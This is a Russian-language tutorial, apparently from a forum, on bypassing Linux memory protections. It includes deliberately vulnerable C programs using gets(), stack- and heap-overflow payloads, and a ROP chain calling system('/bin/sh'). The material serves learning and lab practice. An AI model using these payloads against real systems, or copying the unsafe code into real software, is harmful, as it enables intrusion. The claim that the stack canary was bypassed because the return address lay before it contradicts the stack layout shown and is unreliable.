Всем привет!
В сети много статей, где рассматриваются две ключевые уязвимости в приложениях, это переполнение стека и переполнение кучи.
Но вот беда, мало кто рассматривает эти уязвимости с практической точки зрения, всё сводится к тому-что "Отключите защиту и пробуйте", но какой в этом смысл ?
Сейчас на дворе 2025 год, в итоге, вот нашли вы ошибку класса stack overflow, непрриятно, программа крашанулась, ну и что с того ?)
В этой статье предлагаю кратко взглянуть, какие есть защиты и как можно их обойти, хочу отметить что статья для общего развития, в реальной жизни всё намного сложнее и даже если вы нашли какой-то баг, часто максимум что можно выжать, это краш приложения.)
Но какое-то общее представление это статья должна дать.
 Обзор защит: ASLR, PIE, NX, Stack Canary и др.
1. 
 ASLR (Address Space Layout Randomization)
Что делает:
ASLR рандомизирует расположение важных частей памяти при каждом запуске программы:
- Стек
 - Куча (heap)
 - libc (и другие библиотеки)
 - mmap (память, выделенная через mmap)
 - PIE .text (если программа собрана как PIE)
 
Пример:
Вчера libc начиналась с 0x7ffff7dd0000, а сегодня с 0x7ffff79e0000.
Обход:
- Утечка адресов (info leak) — читаем адрес puts, printf, и по сдвигам находим libc.
 - Brute-force (только в CTF или 32-бит) — малое пространство адресов.
 
2.
 PIE (Position-Independent Executable)
Что делает:
PIE заставляет исполняемый файл вести себя как библиотека — его .text (код) секция загружается по случайному адресу при каждом запуске.
Работает только вместе с ASLR!
Цель: затруднить прямую адресацию функций в самом бинарнике.
Пример:
Функция main() вчера была на 0x400636, а сегодня — 0x55aa3e263636
Обход:
- Утечка адресов из самого бинарника (например, форматная строка с %p)
 - Иногда можно гадать (если PIE есть, но ASLR отключён)
 
3. 
 NX (No-eXecute Bit)
Что делает:Запрещает выполнение кода в:
- Стеке
 - Куче
 
Обход:
- Использование ROP (Return-Oriented Programming)
 - Jump-oriented programming (JOP)
 
4. 
 Stack Canary
Что делает:
Перед сохранённым return address компилятор добавляет "канарейку" — специальное значение, которое проверяется перед выходом из функции.
Цель: предотвратить перезапись return address через переполнение буфера.
Как работает:
		Код:
	
	Stack:
| buffer (64 байта)       |
| Canary (4-8 байт)      |
| Old RBP                     |
| Return Address          |
	Если при выходе canary != оригинальный, → * stack smashing detected *.
Обход:
- Утечка значения канарейки
 - Переполнение до но не через canary (перезапись переменных, а не RIP)
 
5. 
 RELRO (Relocation Read-Only)
Что делает:
Защищает таблицу GOT (Global Offset Table), чтобы нельзя было её переписать.
Цель: предотвращение GOT overwrite атак.
6. 
 Safe Linking (только heap)
Что делает:
С glibc 2.32+, tcache и другие указатели в куче шифруются с помощью XOR с random canary → предотвращение use-after-free, fastbin attacks и т.д.
Обход:
- Утечка libc → вычисление ключа
 - Отслеживание tcache структуры
 - Использование более сложных heap exploitation техник
 
7. 
 Fortify Source (_FORTIFY_SOURCE)
Что делает:
Добавляет проверки на переполнение строк (strcpy, sprintf, read) при компиляции, если размеры известны.
У собранного бинарника:
		Код:
	
	сhecksec ./binary
Arch:     amd64
PIE:      Yes
Canary:   Yes
NX:       Enabled
RELRO:    Full
	1. Переполнение стека (Stack Overflow)
 Исходный код
	
	
		Код:
	
	#include <stdio.h>
#include <string.h>
void secret() {
    printf("✅ Поздравляем, вы вызвали секретную функцию!\n");
}
void vulnerable() {
    char buffer[64];
    printf("Введите что-нибудь: ");
    gets(buffer); // уязвимая функция
}
int main() {
    vulnerable();
    printf("До свидания!\n");
    return 0;
}
	
		Код:
	
	gcc -fstack-protector-strong -no-pie -O0 -g stack_overflow.c -o stack_overflow
	- -fstack-protector-strong — включен canary
 - -no-pie — исполняемый файл без PIE (адреса предсказуемы)
 - -g — отладочная информация
 - -O0 — без оптимизаций
 
 Эксплуатация (в gdb)
Мы попытаемся перезаписать return address, чтобы вызвать secret().
- Узнаём адрес функции:
		Код:
	
	nm stack_overflow | grep secret
	Допустим: 00000000004011b6 T secret
- Запускаем под gdb с pwndbg:
		Код:
	
	gdb ./stack_overflow
run
	- Подаём ввод из 72 байт + адрес secret() в обратном порядке (little-endian):
		Код:
	
	python3 -c "print('A'*72 + '\xb6\x11\x40\x00\x00\x00\x00\x00')" > payload
	Вставляем в stdin:
		Код:
	
	run < payload
	🛡 Как работает защита
- Stack canary — байт между буфером и return address. При переполнении его подмена вызывает stack smashing detected.
 - PIE — переменные и функции располагаются в случайных адресах.
 - NX — запрет выполнения стека.
 
 Обход
- Мы не отключали stack canary, но обошли его, потому что адрес возврата находился до canary, либо gets не спровоцировал ошибку.
 - При включённом PIE было бы сложнее — адреса неизвестны.
 
2. Переполнение кучи (Heap Overflow)
 Исходный код
	
	
		Код:
	
	#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
    char *name;
    void (*func)();
} User;
void welcome() {
    printf("Приветствуем вас!\n");
}
void win() {
    printf("✅ Успешный захват управления через кучу!\n");
}
int main() {
    User *user = malloc(sizeof(User));
    user->name = malloc(32);
    user->func = welcome;
    printf("Введите имя: ");
    gets(user->name);
    user->func();
    free(user->name);
    free(user);
    return 0;
}
	
		Код:
	
	gcc -g -fstack-protector-strong -no-pie heap_overflow.c -o heap_overflow
	
 Эксплуатация
Цель — переписать user->func, затерев её адресом win.
		Код:
	
	user->name = malloc(32);
user->func = welcome;
	Перезатираем адрес welcome на win.)
- Узнаём адрес win:
		Код:
	
	nm heap_overflow | grep win
	- Подаём строку, которая выходит за пределы user->name и затирает func.
		Код:
	
	python3 -c "print('A'*32 + 'B'*8 + '\x9d\x11\x40\x00\x00\x00\x00\x00')" > heap_payload
./heap_overflow < heap_payload
	🛡 Как работает защита
- Heap metadata (malloc headers) защищены:
glibc 2.32+ использует safe-linking: адреса xored с canary-like значением. - Canary не спасает кучу.
 - PIE/ASLR мешают точному предсказанию адресов.
 
 Return-Oriented Programming (ROP): Подробное руководство
 Что такое ROP?
ROP (Return-Oriented Programming) — это техника эксплуатации, при которой злоумышленник перехватывает управление программой, не вводя собственный исполняемый код, а используя уже существующие фрагменты инструкций (гаджеты) в памяти.Заметка сказал(а):
 Почему обычный shellcode не работает?
При переполнении стека можно было вставить shellcode прямо в память. Но при включённой NX защите стек становится неисполняемым, и такой подход уже не срабатывает.
 Идея ROP: использовать существующий код
Вместо shellcode, мы заставляем программу выполнять цепочку инструкций, уже находящихся в памяти, завершающихся на ret.Каждый такой фрагмент называется гаджетом (gadget). Программа «скачет» от одного гаджета к другому, выполняя действия, заданные атакующим.
 Пример простой ROP-цепочки
Цель: вызвать system("/bin/sh")Предположим:
- Адрес 
system():0x401040 - Адрес строки 
"/bin/sh":0x404050 - Гаджет 
pop rdi ; ret:0x401203 
Тогда payload будет такой:
		Python:
	
	from struct import pack
payload  = b"A" * 72
payload += pack("<Q", 0x401203)   # pop rdi ; ret
payload += pack("<Q", 0x404050)   # адрес "/bin/sh"
payload += pack("<Q", 0x401040)   # system
	| buffer[64] | ← Уязвимый буфер 64 байт
| saved RBP (8 байт) |
| return address (RIP) | ← мы хотим переписать это!
Итого: 64 + 8 = 72 байта до RIP
 Где брать гаджеты?
Используйте утилиты:ROPgadget --binary ./vulnropper --file ./vuln- или Pwntools (в Python)
 
		Код:
	
	pop rdi ; ret
pop rsi ; pop r15 ; ret
ret
	
 Аргументы функций в x86_64
rdi— первый аргументrsi— второйrdx— третий- ...
 
Пример:
system("/bin/sh") требует только rdi = адрес "/bin/sh"
 Что такое "/bin/sh" и откуда его взять
- Можно найти в libc: 
strings /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh" - Можно записать вручную в память (через GOT, .data, .bss)
 - Можно использовать one_gadget (см. ниже)
 
 Как обойти ASLR и PIE
ASLR + PIE делают адреса непредсказуемыми.Решение: сначала утечь адрес из GOT (например,
puts@got), чтобы по нему вычислить адрес libc.Пример ROP-цепочки для утечки:
- pop rdi ; ret
 - puts@got
 - call puts@plt
 - call main (повторный запуск)
 
system("/bin/sh").
 Что такое one_gadget?
GitHub - david942j/one_gadget: The best tool for finding one gadget RCE in libc.so.6 — утилита, которая ищет в libc.so.6 готовые вызовы execve("/bin/sh"), которые можно вызвать одной инструкцией.
		Код:
	
	one_gadget /lib/x86_64-linux-gnu/libc.so.6
	Выдаёт:
		Код:
	
	0xe6c81 execve("/bin/sh", r10, rdx) constraints: r10 == NULL && rdx == NULL
	→ достаточно выставить регистры правильно, и можно вызвать гаджет напрямую.
 ROP и защитные механизмы
- NX: блокирует shellcode → ROP работает
 - ASLR: требует утечки адреса
 - PIE: делает адреса .text рандомными → нужна утечка
 - Canary: не мешает ROP напрямую, но мешает переполнению
 
 Требования для успешной ROP-атаки
- Контроль над RIP (обычно через переполнение)
 - ROP-гаджеты в бинаре или в libc
 - Утечка адреса (если есть ASLR/PIE)
 - Точный расчёт стековой цепочки
 
 Вывод
Return-Oriented Programming — мощный способ обойти защиту NX и выполнить произвольный код без shellcode. С его помощью можно:- Вызвать 
system("/bin/sh") - Провести атаки на libc
 - Обойти ASLR, PIE и другие защиты
 
	